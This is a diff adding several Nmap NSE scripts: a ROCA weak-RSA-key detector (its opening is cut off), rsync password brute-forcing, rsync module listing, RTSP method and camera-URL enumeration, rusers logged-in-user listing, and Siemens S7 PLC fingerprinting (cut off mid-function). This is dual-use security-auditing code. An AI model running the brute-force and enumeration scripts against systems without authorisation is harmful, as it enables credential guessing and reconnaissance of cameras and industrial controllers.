+Detects RSA keys vulnerable to Return Of Coppersmith Attack (ROCA) factorization.
+
+SSH hostkeys and SSL/TLS certificates are checked. The checks require recent updates to the openssl NSE library.
+
+References:
+* https://crocs.fi.muni.cz/public/papers/rsa_ccs17
+]]
+
+---
+-- @usage
+-- nmap -p 22,443 --script rsa-vuln-roca <target>
+--
+-- @output
+--
+--@xmloutput
+--
+-- @see ssl-cert.nse
+-- @see ssh-hostkey.nse
+
+author = "Daniel Miller"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "safe"}
+
+-- only run this script if the target host is NOT a private (RFC1918) IP address)
+-- and the port is an open SSL service
+portrule = function(host, port)
+ if not openssl.bignum_div then
+ stdnse.verbose1("This script requires the latest update to NSE's openssl library bindings.")
+ return false
+ end
+ -- SSH key check
+ return shortport.port_or_service(22, "ssh")
+ -- same criteria as ssl-cert.nse
+ or shortport.ssl(host, port) or sslcert.isPortSupported(port) or sslcert.getPrepareTLSWithoutReconnect(port)
+end
+
+local function is_vulnerable (modulus)
+ local dec2bn = openssl.bignum_dec2bn
+ -- Prime tests used under MIT license from https://github.com/crocs-muni/roca
+ local prime_tests = nmap.registry.roca_prime_tests or {
+ {dec2bn("3"), dec2bn("6")},
+ {dec2bn("5"), dec2bn("30")},
+ {dec2bn("7"), dec2bn("126")},
+ {dec2bn("11"), dec2bn("1026")},
+ {dec2bn("13"), dec2bn("5658")},
+ {dec2bn("17"), dec2bn("107286")},
+ {dec2bn("19"), dec2bn("199410")},
+ {dec2bn("23"), dec2bn("8388606")},
+ {dec2bn("29"), dec2bn("536870910")},
+ {dec2bn("31"), dec2bn("2147483646")},
+ {dec2bn("37"), dec2bn("67109890")},
+ {dec2bn("41"), dec2bn("2199023255550")},
+ {dec2bn("43"), dec2bn("8796093022206")},
+ {dec2bn("47"), dec2bn("140737488355326")},
+ {dec2bn("53"), dec2bn("5310023542746834")},
+ {dec2bn("59"), dec2bn("576460752303423486")},
+ {dec2bn("61"), dec2bn("1455791217086302986")},
+ {dec2bn("67"), dec2bn("147573952589676412926")},
+ {dec2bn("71"), dec2bn("20052041432995567486")},
+ {dec2bn("73"), dec2bn("6041388139249378920330")},
+ {dec2bn("79"), dec2bn("207530445072488465666")},
+ {dec2bn("83"), dec2bn("9671406556917033397649406")},
+ {dec2bn("89"), dec2bn("618970019642690137449562110")},
+ {dec2bn("97"), dec2bn("79228162521181866724264247298")},
+ {dec2bn("101"), dec2bn("2535301200456458802993406410750")},
+ {dec2bn("103"), dec2bn("1760368345969468176824550810518")},
+ {dec2bn("107"), dec2bn("50079290986288516948354744811034")},
+ {dec2bn("109"), dec2bn("473022961816146413042658758988474")},
+ {dec2bn("113"), dec2bn("10384593717069655257060992658440190")},
+ {dec2bn("127"), dec2bn("144390480366845522447407333004847678774")},
+ {dec2bn("131"), dec2bn("2722258935367507707706996859454145691646")},
+ {dec2bn("137"), dec2bn("174224571863520493293247799005065324265470")},
+ {dec2bn("139"), dec2bn("696898287454081973172991196020261297061886")},
+ {dec2bn("149"), dec2bn("713623846352979940529142984724747568191373310")},
+ {dec2bn("151"), dec2bn("1800793591454480341970779146165214289059119882")},
+ {dec2bn("157"), dec2bn("126304807362733370595828809000324029340048915994")},
+ {dec2bn("163"), dec2bn("11692013098647223345629478661730264157247460343806")},
+ {dec2bn("167"), dec2bn("187072209578355573530071658587684226515959365500926")},
+ }
+ nmap.registry.roca_prime_tests = prime_tests
+
+ --stdnse.debug1("Testing %s", openssl.bignum_bn2dec(modulus))
+ for _, test in ipairs(prime_tests) do
+ local prime, fingerprint = test[1], test[2]
+ local _, bnshift = openssl.bignum_div(modulus, prime)
+ -- prime is small, so bnshift is small. Safe to convert to Lua integer
+ local string_shift = openssl.bignum_bn2dec(bnshift)
+ local shift = math.tointeger(string_shift)
+ if not shift then
+ stdnse.debug1("Unable to convert %s to integer", string_shift)
+ return nil
+ end
+ --stdnse.debug1("Testing mod %s, shift is %s", openssl.bignum_bn2dec(prime), shift)
+ if not openssl.bignum_is_bit_set(fingerprint, shift) then
+ stdnse.debug1("Not vulnerable")
+ return nil
+ end
+ end
+ stdnse.debug1("VULNERABLE!!!!!!")
+
+ return "Vulnerable to ROCA"
+end
+
+local function ssl_get_modulus(host, port)
+ local ok, cert = sslcert.getCertificate(host, port)
+ if not ok then
+ stdnse.debug1("failed to obtain SSL certificate")
+ return nil
+ end
+
+ if cert.pubkey.type ~= "rsa" then
+ stdnse.debug1("Non-RSA certificate, not vulnerable to ROCA")
+ return nil
+ end
+
+ local modulus = cert.pubkey.modulus
+ if not modulus then
+ stdnse.debug1("No modulus available; upgrade Nmap?")
+ return nil
+ end
+ return modulus
+end
+
+local function ssh_get_modulus(host, port)
+ local key = ssh2.fetch_host_key( host, port, "ssh-rsa" )
+ if not key then
+ stdnse.debug1("No RSA hostkey, not vulnerable to ROCA")
+ return nil
+ end
+ local _, e, n = string.unpack(">s4s4s4", key.fp_input)
+ return openssl.bignum_bin2bn(n)
+end
+
+action = function(host, port)
+ local vuln_table = {
+ title = "ROCA: Vulnerable RSA generation",
+ state = vulns.STATE.NOT_VULN,
+ -- TODO: Update when CVE is scored
+ --risk_factor = "High",
+ description = [[
+ The Infineon RSA library 1.02.013 in Infineon Trusted Platform Module (TPM)
+ firmware, such as versions before 0000000000000422 - 4.34, before
+ 000000000000062b - 6.43, and before 0000000000008521 - 133.33, mishandles
+ RSA key generation, which makes it easier for attackers to defeat various
+ cryptographic protection mechanisms via targeted attacks, aka ROCA.
+ ]],
+ IDS = {CVE = "CVE-2017-15361"},
+ references = {
+ "https://crocs.fi.muni.cz/public/papers/rsa_ccs17",
+ }
+ }
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+ local modulus
+ if shortport.ssl(host, port) or sslcert.isPortSupported(port) or sslcert.getPrepareTLSWithoutReconnect(port) then
+ modulus = ssl_get_modulus(host, port)
+ elseif shortport.port_or_service(22, "ssh")(host, port) then
+ modulus = ssh_get_modulus(host, port)
+ end
+
+ if modulus and is_vulnerable(modulus) then
+ vuln_table.state = vulns.STATE.VULN
+ end
+ return report:make_output(vuln_table)
+end
diff --git a/scripts/rsync-brute.nse b/scripts/rsync-brute.nse
new file mode 100644
index 0000000..d605e20
--- /dev/null
+++ b/scripts/rsync-brute.nse
@@ -0,0 +1,110 @@
+local brute = require "brute"
+local creds = require "creds"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+local rsync = stdnse.silent_require "rsync"
+
+description = [[
+Performs brute force password auditing against the rsync remote file syncing protocol.
+]]
+
+---
+-- @usage
+-- nmap -p 873 --script rsync-brute --script-args 'rsync-brute.module=www' <ip>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 873/tcp open rsync syn-ack
+-- | rsync-brute:
+-- | Accounts
+-- | user1:laptop - Valid credentials
+-- | user2:password - Valid credentials
+-- | Statistics
+-- |_ Performed 1954 guesses in 20 seconds, average tps: 97
+--
+-- @args rsync-brute.module - the module against which brute forcing should be performed
+
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"brute", "intrusive"}
+
+portrule = shortport.port_or_service(873, "rsync", "tcp")
+
+Driver = {
+
+ new = function(self, host, port, options)
+ local o = { host = host, port = port, options = options }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ connect = function(self)
+ self.helper = rsync.Helper:new(self.host, self.port, self.options)
+ return self.helper:connect(brute.new_socket())
+ end,
+
+ login = function(self, username, password)
+
+ local status, data = self.helper:login(username, password)
+ -- retry unless we have an authentication failed error
+ if( not(status) and data ~= "Authentication failed" ) then
+ local err = brute.Error:new( data )
+ err:setRetry( true )
+ return false, err
+ elseif ( not(status) ) then
+ return false, brute.Error:new( "Login failed" )
+ else
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ end
+ end,
+
+ disconnect = function( self )
+ return self.helper:disconnect()
+ end
+
+}
+
+local function isModuleValid(host, port, module)
+ local helper = rsync.Helper:new(host, port, { module = module })
+ if ( not(helper) ) then
+ return false, "Failed to create helper"
+ end
+ local status, data = helper:connect()
+ if ( not(status) ) then
+ return false, "Failed to connect to server"
+ end
+ status, data = helper:login()
+ if ( status and data == "No authentication was required" ) then
+ return false, data
+ elseif ( not(status) and data == "Authentication required" ) then
+ return true
+ elseif ( not(status) and data == ("Unknown module '%s'"):format(module) ) then
+ return false, data
+ end
+ return false, ("Brute pre-check failed for unknown reason: (%s)"):format(data)
+end
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+
+ local mod = stdnse.get_script_args(SCRIPT_NAME .. ".module")
+ if ( not(mod) ) then
+ return fail("rsync-brute.module was not supplied")
+ end
+
+ local status, err = isModuleValid(host, port, mod)
+ if ( not(status) ) then
+ return fail(err)
+ end
+
+ local engine = brute.Engine:new(Driver, host, port, { module = mod })
+ engine.options.script_name = SCRIPT_NAME
+ local result
+ status, result = engine:start()
+ return result
+end
diff --git a/scripts/rsync-list-modules.nse b/scripts/rsync-list-modules.nse
new file mode 100644
index 0000000..0fb1e2a
--- /dev/null
+++ b/scripts/rsync-list-modules.nse
@@ -0,0 +1,48 @@
+local rsync = require "rsync"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Lists modules available for rsync (remote file sync) synchronization.
+]]
+
+---
+-- @usage
+-- nmap -p 873 --script rsync-list-modules <ip>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 873/tcp open rsync
+-- | rsync-list-modules:
+-- | www www directory
+-- | log log directory
+-- |_ etc etc directory
+--
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+portrule = shortport.port_or_service(873, "rsync", "tcp")
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+ local helper = rsync.Helper:new(host, port, { module = "" })
+ if ( not(helper) ) then
+ return fail("Failed to create rsync.Helper")
+ end
+
+ local status, err = helper:connect()
+ if ( not(status) ) then
+ return fail("Failed to connect to rsync server")
+ end
+
+ local modules = {}
+ status, modules = helper:listModules()
+ if ( not(status) ) then
+ return fail("Failed to retrieve a list of modules")
+ end
+ return stdnse.format_output(true, modules)
+end
diff --git a/scripts/rtsp-methods.nse b/scripts/rtsp-methods.nse
new file mode 100644
index 0000000..e7db1ca
--- /dev/null
+++ b/scripts/rtsp-methods.nse
@@ -0,0 +1,58 @@
+local rtsp = require "rtsp"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local stringaux = require "stringaux"
+
+description = [[
+Determines which methods are supported by the RTSP (real time streaming protocol) server.
+]]
+
+---
+-- @usage
+-- nmap -p 554 --script rtsp-methods <ip>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 554/tcp open rtsp
+-- | rtsp-methods:
+-- |_ DESCRIBE, SETUP, PLAY, TEARDOWN, OPTIONS
+--
+-- @xmloutput
+-- <elem>DESCRIBE</elem>
+-- <elem>SETUP</elem>
+-- <elem>PLAY</elem>
+-- <elem>TEARDOWN</elem>
+-- <elem>OPTIONS</elem>
+--
+-- @args rtsp-methods.path the path to query, defaults to "*" which queries
+-- the server itself, rather than a specific url.
+--
+
+--
+-- Version 0.1
+-- Created 23/10/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+--
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "safe"}
+
+
+portrule = shortport.port_or_service(554, "rtsp", "tcp", "open")
+
+action = function(host, port)
+ local path = stdnse.get_script_args('rtsp-methods.path') or '*'
+ local helper = rtsp.Helper:new(host, port)
+ local status = helper:connect()
+ if ( not(status) ) then
+ stdnse.debug2("ERROR: Failed to connect to RTSP server")
+ return
+ end
+
+ local response
+ status, response = helper:options(path)
+ helper:close()
+ if ( status ) then
+ local opts = response.headers['Public']
+ return stringaux.strsplit(",%s*", opts), opts
+ end
+end
diff --git a/scripts/rtsp-url-brute.nse b/scripts/rtsp-url-brute.nse
new file mode 100644
index 0000000..7a96c9a
--- /dev/null
+++ b/scripts/rtsp-url-brute.nse
@@ -0,0 +1,202 @@
+local coroutine = require "coroutine"
+local io = require "io"
+local nmap = require "nmap"
+local rtsp = require "rtsp"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+local rand = require "rand"
+
+description = [[
+Attempts to enumerate RTSP media URLS by testing for common paths on devices such as surveillance IP cameras.
+
+The script attempts to discover valid RTSP URLs by sending a DESCRIBE
+request for each URL in the dictionary. It then parses the response, based
+on which it determines whether the URL is valid or not.
+
+]]
+
+---
+-- @usage
+-- nmap --script rtsp-url-brute -p 554 <ip>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 554/tcp open rtsp
+-- | rtsp-url-brute:
+-- | discovered:
+-- | rtsp://camera.example.com/mpeg4
+-- | other responses:
+-- | 401:
+-- |_ rtsp://camera.example.com/live/mpeg4
+-- @xmloutput
+-- <table key="discovered">
+-- <elem>rtsp://camera.example.com/mpeg4</elem>
+-- </table>
+-- <table key="other responses">
+-- <table key="401">
+-- <elem>rtsp://camera.example.com/live/mpeg4</elem>
+-- </table>
+-- </table>
+--
+-- @args rtsp-url-brute.urlfile sets an alternate URL dictionary file
+-- @args rtsp-url-brute.threads sets the maximum number of parallel threads to run
+
+--
+-- Version 0.1
+-- Created 23/10/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"brute", "intrusive"}
+
+
+portrule = shortport.port_or_service(554, "rtsp", "tcp", "open")
+
+--- Retrieves the next RTSP relative URL from the datafile
+-- @param filename string containing the name of the file to read from
+-- @return url string containing the relative RTSP url
+urlIterator = function(fd)
+ local function getNextUrl ()
+ repeat
+ local line = fd:read()
+ if ( line and not(line:match('^#!comment:')) ) then
+ coroutine.yield(line)
+ end
+ until(not(line))
+ fd:close()
+ while(true) do coroutine.yield(nil) end
+ end
+ return coroutine.wrap( getNextUrl )
+end
+
+local function fetch_url(host, port, url)
+ local helper = rtsp.Helper:new(host, port)
+ local status = helper:connect()
+
+ if not status then
+ stdnse.debug2("ERROR: Connecting to RTSP server url: %s", url)
+ return nil
+ end
+
+ local response
+ status, response = helper:describe(url)
+ if not status then
+ stdnse.debug2("ERROR: Sending DESCRIBE request to url: %s", url)
+ return nil, response
+ end
+
+ helper:close()
+ return true, response
+end
+
+-- Fetches the next url from the iterator, creates an absolute url and tries
+-- to fetch it from the RTSP service.
+-- @param host table containing the host table as received by action
+-- @param port table containing the port table as received by action
+-- @param url_iter function containing the url iterator
+-- @param result table containing the urls that were successfully retrieved
+local function processURL(host, port, url_iter, result)
+ local condvar = nmap.condvar(result)
+ local name = stdnse.get_hostname(host)
+ for u in url_iter do
+ local url = ("rtsp://%s%s"):format(name, u)
+ local status, response = fetch_url(host, port, url)
+ if not status then
+ table.insert(result, { url = url, status = -1 } )
+ break
+ else
+ table.insert(result, { url = url, status = response.status } )
+ end
+ end
+ condvar "signal"
+end
+
+action = function(host, port)
+
+ local response
+ local result = {}
+ local condvar = nmap.condvar(result)
+ local threadcount = stdnse.get_script_args('rtsp-url-brute.threads') or 10
+ local filename = stdnse.get_script_args('rtsp-url-brute.urlfile') or
+ nmap.fetchfile("nselib/data/rtsp-urls.txt")
+
+ threadcount = tonumber(threadcount)
+
+ if ( not(filename) ) then
+ return stdnse.format_output(false, "No dictionary could be loaded")
+ end
+
+ local f = io.open(filename)
+ if ( not(f) ) then
+ return stdnse.format_output(false, ("Failed to open dictionary file: %s"):format(filename))
+ end
+
+ local url_iter = urlIterator(f)
+ if ( not(url_iter) ) then
+ return stdnse.format_output(false, ("Could not open the URL dictionary: %s"):format(f))
+ end
+
+ -- Try to see what a nonexistent URL looks like
+ local status, response = fetch_url(
+ host, port, ("rtsp://%s/%s"):format(
+ stdnse.get_hostname(host), rand.random_alpha(14))
+ )
+ local status_404 = 404
+ if status then
+ local status_404 = response.status
+ end
+
+ local threads = {}
+ for t=1, threadcount do
+ local co = stdnse.new_thread(processURL, host, port, url_iter, result)
+ threads[co] = true
+ end
+
+ repeat
+ for t in pairs(threads) do
+ if ( coroutine.status(t) == "dead" ) then threads[t] = nil end
+ end
+ if ( next(threads) ) then
+ condvar "wait"
+ end
+ until( next(threads) == nil )
+
+ -- urls that could not be retrieved due to low level errors, such as
+ -- failure in socket send or receive
+ local failure_urls = {}
+
+ -- urls that elicited a 200 OK response
+ local success_urls = {}
+
+ -- urls that got some non-404-type response
+ local urls_by_code = {}
+
+ for _, r in ipairs(result) do
+ if ( r.status == -1 ) then
+ table.insert(failure_urls, r.url)
+ elseif ( r.status == 200 ) then
+ table.insert(success_urls, r.url)
+ elseif r.status ~= status_404 then
+ local s = tostring(r.status)
+ urls_by_code[s] = urls_by_code[s] or {}
+ table.insert(urls_by_code[s], r.url)
+ end
+ end
+
+ local output = stdnse.output_table()
+ if next(failure_urls) then
+ output.errors = failure_urls
+ end
+ if next(success_urls) then
+ output.discovered = success_urls
+ end
+ if next(urls_by_code) then
+ output["other responses"] = urls_by_code
+ end
+
+ if #output > 0 then
+ return output
+ end
+end
diff --git a/scripts/rusers.nse b/scripts/rusers.nse
new file mode 100644
index 0000000..027b6c0
--- /dev/null
+++ b/scripts/rusers.nse
@@ -0,0 +1,176 @@
+local datetime = require "datetime"
+local rpc = require "rpc"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local tab = require "tab"
+
+description = [[
+Connects to rusersd RPC service and retrieves a list of logged-in users.
+]]
+
+---
+--@output
+--| USER ON FROM SINCE IDLE
+--| LOGIN console 2015-11-08T12:03:50 8h55m58s
+--| root console :0 2015-11-08T12:06:49 8h55m58s
+--| root pts/2 :0.0 2015-11-08T12:07:06 2d02h51m48s
+--| .telnet /dev/pts 2016-03-14T12:07:46 24855d03h14m07s
+--| .telnet /dev/pts 2016-03-14T10:25:09 24855d03h14m07s
+--| .telnet /dev/pts 2016-03-03T10:02:15 24855d03h14m07s
+--| root pts/4 2016-03-07T09:21:14 1m48s
+--| root pts/3 ns3 2016-02-16T09:45:24 35s
+--| root pts/4 ns3 2016-02-16T09:26:01 1m48s
+--|_.telnet /dev/pts 2016-03-03T10:01:32 24855d03h14m07s
+--
+--@xmloutput
+--<table>
+-- <elem key="idle">1m49s</elem>
+-- <elem key="host">ns3</elem>
+-- <elem key="user">root</elem>
+-- <elem key="time">2016-02-16T09:26:01</elem>
+-- <elem key="tty">pts/4</elem>
+--</table>
+--<table>
+-- <elem key="idle">24855d03h14m07s</elem>
+-- <elem key="host"></elem>
+-- <elem key="user">.telnet</elem>
+-- <elem key="time">2016-03-03T10:01:32</elem>
+-- <elem key="tty">/dev/pts</elem>
+--</table>
+--
+
+author = "Daniel Miller"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+dependencies = {"rpc-grind", "rpcinfo"}
+portrule = shortport.service("rusersd", {"tcp", "udp"})
+
+-- TODO: Support version 3
+rpc.RPC_version["rusersd"] = rpc.RPC_version["rusersd"] or { min=2, max=2 }
+
+local RUSERSPROC = {
+ NUM = 1,
+ NAMES = 2,
+ ALLNAMES = 3,
+}
+
+--- Get a RPC string, which is length-prefixed and padded with null bytes
+-- @param comm an rpc.Comm object
+-- @param data the data received so far
+-- @param pos the current position in the data where the opaque string is
+-- @param additional number of bytes to request after the string for the next
+-- field. Saves a call to GetAdditionalBytes later.
+-- @return position of next field or nil on error
+-- @return the string extracted or error message
+-- @return the data retrieved so far
+local function get_zstring (comm, data, pos, additional)
+ local pos, len = rpc.Util.unmarshall_uint32(data, pos)
+ local status, data = comm:GetAdditionalBytes( data, pos, len + additional )
+ if not status then
+ return nil, "GetAdditionalBytes failed"
+ end
+ local pos, rval = rpc.Util.unmarshall_opaque(len, data, pos)
+ rval = string.match(rval, "^(.-)\0*$")
+ return pos, rval, data
+end
+
+local function fail (err, ...)
+ stdnse.debug1(err, ...)
+ return nil
+end
+
+-- Extract a utmpidle structure:
+-- /*
+-- * This is the structure used in version 2 of the rusersd RPC service.
+-- * It corresponds to the utmp structure for BSD systems.
+-- */
+-- struct ru_utmp {
+-- char ut_line[8]; /* tty name */
+-- char ut_name[8]; /* user id */
+-- char ut_host[16]; /* host name, if remote */
+-- long int ut_time; /* time on */
+-- };
+--
+-- struct utmpidle {
+-- struct ru_utmp ui_utmp;
+-- unsigned int ui_idle;
+-- };
+local function rusers2_entry(comm, data, pos)
+ local entry = {}
+ pos, entry.tty, data = get_zstring(comm, data, pos, 4)
+ if not pos then return fail(entry.tty) end
+
+ pos, entry.user, data = get_zstring(comm, data, pos, 4)
+ if not pos then return fail(entry.user) end
+
+ pos, entry.host, data = get_zstring(comm, data, pos, 8)
+ if not pos then return fail(entry.host) end
+
+ pos, entry.time = rpc.Util.unmarshall_uint32(data, pos)
+ entry.time = datetime.format_timestamp(entry.time)
+
+ pos, entry.idle = rpc.Util.unmarshall_uint32(data, pos)
+ entry.idle = datetime.format_time(entry.idle)
+
+ return pos, entry, data
+end
+
+action = function(host, port)
+ local comm = rpc.Comm:new("rusersd", 2)
+ local status, err = comm:Connect(host, port)
+ if not status then
+ return fail("RPC connect error: %s", err)
+ end
+
+ local packet = comm:EncodePacket(nil, RUSERSPROC.ALLNAMES, {type = rpc.Portmap.AuthType.NULL}, nil)
+ status, err = comm:SendPacket(packet)
+ if not status then
+ return fail("RPC send error: %s", err)
+ end
+
+ local status, data = comm:ReceivePacket()
+ if not status then
+ return fail("RPC receive error: %s", data)
+ end
+
+ local pos, header = comm:DecodeHeader(data, 1)
+ if not header then
+ return fail("RPC decode header error")
+ end
+
+ if header.type ~= rpc.Portmap.MessageType.REPLY then
+ return fail("Packet was not a reply")
+ end
+
+ if header.state ~= rpc.Portmap.State.MSG_ACCEPTED then
+ return fail("RPC call failed: %s", rpc.Portmap.RejectMsg[header.denied_state] or header.state)
+ end
+
+ if header.accept_state ~= rpc.Portmap.AcceptState.SUCCESS then
+ return fail("RPC accepted state: %s", rpc.Portmap.AcceptMsg[header.accept_state] or header.accept_state)
+ end
+
+ status, data = comm:GetAdditionalBytes( data, pos, 4 )
+ if not status then
+ return fail("Failed to call GetAdditionalBytes")
+ end
+
+ local pos, num_names = rpc.Util.unmarshall_uint32(data, pos)
+
+ local out = {}
+ local out_tab = tab.new()
+ tab.addrow(out_tab, "USER", "ON", "FROM", "SINCE", "IDLE")
+ for i=1, num_names do
+ local entry
+ pos, entry, data = rusers2_entry(comm, data, pos)
+ tab.addrow(out_tab, entry.user, entry.tty, entry.host, entry.time, entry.idle)
+ out[#out+1] = entry
+ end
+
+ if next(out) then
+ return out, "\n" .. tab.dump(out_tab)
+ end
+
+end
diff --git a/scripts/s7-info.nse b/scripts/s7-info.nse
new file mode 100644
index 0000000..38980ae
--- /dev/null
+++ b/scripts/s7-info.nse
@@ -0,0 +1,271 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+
+description = [[
+Enumerates Siemens S7 PLC Devices and collects their device information. This
+script is based off PLCScan that was developed by Positive Research and
+Scadastrangelove (https://code.google.com/p/plcscan/). This script is meant to
+provide the same functionality as PLCScan inside of Nmap. Some of the
+information that is collected by PLCScan was not ported over; this
+information can be parsed out of the packets that are received.
+
+Thanks to Positive Research, and Dmitry Efanov for creating PLCScan
+]]
+
+author = "Stephen Hilt (Digital Bond)"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "version"}
+
+---
+-- @usage
+-- nmap --script s7-info.nse -p 102 <host/s>
+--
+-- @output
+--102/tcp open Siemens S7 PLC
+--| s7-info:
+--| Basic Hardware: 6ES7 315-2AG10-0AB0
+--| System Name: SIMATIC 300(1)
+--| Copyright: Original Siemens Equipment
+--| Version: 2.6.9
+--| Module Type: CPU 315-2 DP
+--| Module: 6ES7 315-2AG10-0AB0
+--|_ Serial Number: S C-X4U421302009
+--
+--
+-- @xmloutput
+--<elem key="Basic Hardware">6ES7 315-2AG10-0AB0</elem>
+--<elem key="System Name">SIMATIC 300(1)</elem>
+--<elem key="Copyright">Original Siemens Equipment</elem>
+--<elem key="Version">2.6.9</elem>
+--<elem key="Object Name">SimpleServer</elem>
+--<elem key="Module Type">CPU 315-2 DP</elem>
+--<elem key="Module">6ES7 315-2AG10-0AB0</elem>
+--<elem key="Serial Number">S C-X4U421302009</elem>
+--<elm key="Plant Identification"></elem>
+
+
+-- port rule for devices running on TCP/102
+portrule = shortport.version_port_or_service(102, "iso-tsap", "tcp")
+
+---
+-- Function to send and receive the S7COMM Packet
+--
+-- First argument is the socket that was created inside of the main Action
+-- this will be utilized to send and receive the packets from the host.
+-- the second argument is the query to be sent, this is passed in and is created
+-- inside of the main action.
+-- @param socket the socket that was created in Action.
+-- @param query the specific query that you want to send/receive on.
+-- @param bytes how many bytes (minimum) you expect back
+local function send_receive(socket, query, bytes)
+ local sendstatus, senderr = socket:send(query)
+ if(sendstatus == false) then
+ return "Error Sending S7COMM"
+ end
+ -- receive response
+ local rcvstatus, response = socket:receive_bytes(bytes)
+ if(rcvstatus == false) then
+ return "Error Reading S7COMM"
+ end
+ return response
+end
+
+---
+-- Function to parse the first SZL Request response that was received from the S7 PLCC
+--
+-- First argument is the socket that was created inside of the main Action
+-- this will be utilized to send and receive the packets from the host.
+-- the second argument is the query to be sent, this is passed in and is created
+-- inside of the main action.
+-- @param response Packet response that was received from S7 host.
+-- @param host The host hat was passed in via Nmap, this is to change output of host/port
+-- @param port The port that was passed in via Nmap, this is to change output of host/port
+-- @param output Table used for output for return to Nmap
+local function parse_response(response, host, port, output)
+ -- unpack the protocol ID
+ local value = string.byte(response, 8)
+ -- unpack the second byte of the SZL-ID
+ local szl_id = string.byte(response, 31)
+ -- if the protocol ID is 0x32
+ if (value == 0x32 and #response >= 125) then
+ -- unpack the module information
+ output["Module"] = string.unpack("z", response, 44)
+ -- unpack the basic hardware information
+ output["Basic Hardware"] = string.unpack("z", response, 72)
+ -- parse version number
+ local char1, char2, char3 = string.unpack("BBB", response, 123)
+ -- concatenate string, or if string is nil make version number 0.0
+ output["Version"] = table.concat({char1 or "0.0", char2, char3}, ".")
+ -- return the output table
+ return output
+ else
+ return nil
+ end
+end
+
+---
+-- Function to parse the second SZL Request response that was received from the S7 PLC
+--
+-- First argument is the socket that was created inside of the main Action
+-- this will be utilized to send and receive the packets from the host.
+-- the second argument is the query to be sent, this is passed in and is created
+-- inside of the main action.
+-- @param response Packet response that was received from S7 host.
+-- @param output Table used for output for return to Nmap
+local function second_parse_response(response, output)
+ local offset = 0
+ -- unpack the protocol ID
+ local value = string.byte(response, 8)
+ -- unpack the second byte of the SZL-ID
+ local szl_id = string.byte(response, 31)
+ -- if the protocol ID is 0x32
+ if (value == 0x32) then
+ -- if the szl-ID is not 0x1c
+ if( szl_id ~= 0x1c ) then
+ -- change offset to 4, this is where most of valid PLCs will fall
+ offset = 4
+ end
+ -- parse system name
+ if #response > 40 + offset then
+ output["System Name"] = string.unpack("z", response, 40 + offset)
+ end
+ -- parse module type
+ if #response > 74 + offset then
+ output["Module Type"] = string.unpack("z", response, 74 + offset)
+ end
+ -- parse serial number
+ if #response > 176 + offset then
+ output["Serial Number"] = string.unpack("z", response, 176 + offset)
+ end
+ -- parse plant identification
+ if #response > 108 + offset then
+ output["Plant Identification"] = string.unpack("z", response, 108 + offset)
+ end
+ -- parse copyright
+ if #response > 142 + offset then
+ output["Copyright"] = string.unpack("z", response, 142 + offset)
+ end
+
+ -- for each element in the table, if it is nil, then remove the information from the table
+ for key, value in pairs(output) do
+ if(string.len(output[key]) == 0) then
+ output[key] = nil
+ end
+ end
+ -- return output
+ return output
+ else
+ return nil
+ end
+end
+---
+-- Function to set the nmap output for the host, if a valid S7COMM packet
+-- is received then the output will show that the port is open
+-- and change the output to reflect an S7 PLC
+--
+-- @param host Host that was passed in via nmap
+-- @param port port that S7COMM is running on
+local function set_nmap(host, port)
+ --set port Open
+ port.state = "open"
+ -- set that detected an Siemens S7
+ port.version.name = "iso-tsap"
+ port.version.devicetype = "specialized"
+ port.version.product = "Siemens S7 PLC"
+ nmap.set_port_version(host, port)
+ nmap.set_port_state(host, port, "open")
+
+end
+---
+-- Action Function that is used to run the NSE. This function will send the initial query to the
+-- host and port that were passed in via nmap. The initial response is parsed to determine if host
+-- is a S7COMM device. If it is then more actions are taken to gather extra information.
+--
+-- @param host Host that was scanned via nmap
+-- @param port port that was scanned via nmap
+action = function(host, port)
+ -- COTP packet with a dst of 102
+local COTP = stdnse.fromhex( "0300001611e00000001400c1020100c2020" .. "102" .. "c0010a")
+ -- COTP packet with a dst of 200
+ local alt_COTP = stdnse.fromhex( "0300001611e00000000500c1020100c2020" .. "200" .. "c0010a")
+ -- setup the ROSCTR Packet
+ local ROSCTR_Setup = stdnse.fromhex( "0300001902f08032010000000000080000f0000001000101e0")
+ -- setup the Read SZL information packet
+ local Read_SZL = stdnse.fromhex( "0300002102f080320700000000000800080001120411440100ff09000400110001")
+ -- setup the first SZL request (gather the basic hardware and version number)
+ local first_SZL_Request = stdnse.fromhex( "0300002102f080320700000000000800080001120411440100ff09000400110001")
+ -- setup the second SZL request
+ local second_SZL_Request = stdnse.fromhex( "0300002102f080320700000000000800080001120411440100ff090004001c0001")
+ -- response is used to collect the packet responses
+ local response
+ -- output table for Nmap
+ local output = stdnse.output_table()
+ -- create socket for communications
+ local sock = nmap.new_socket()
+ -- connect to host
+ local constatus, conerr = sock:connect(host, port)
+ if not constatus then
+ stdnse.debug1('Error establishing connection for %s - %s', host, conerr)
+ return nil
+ end
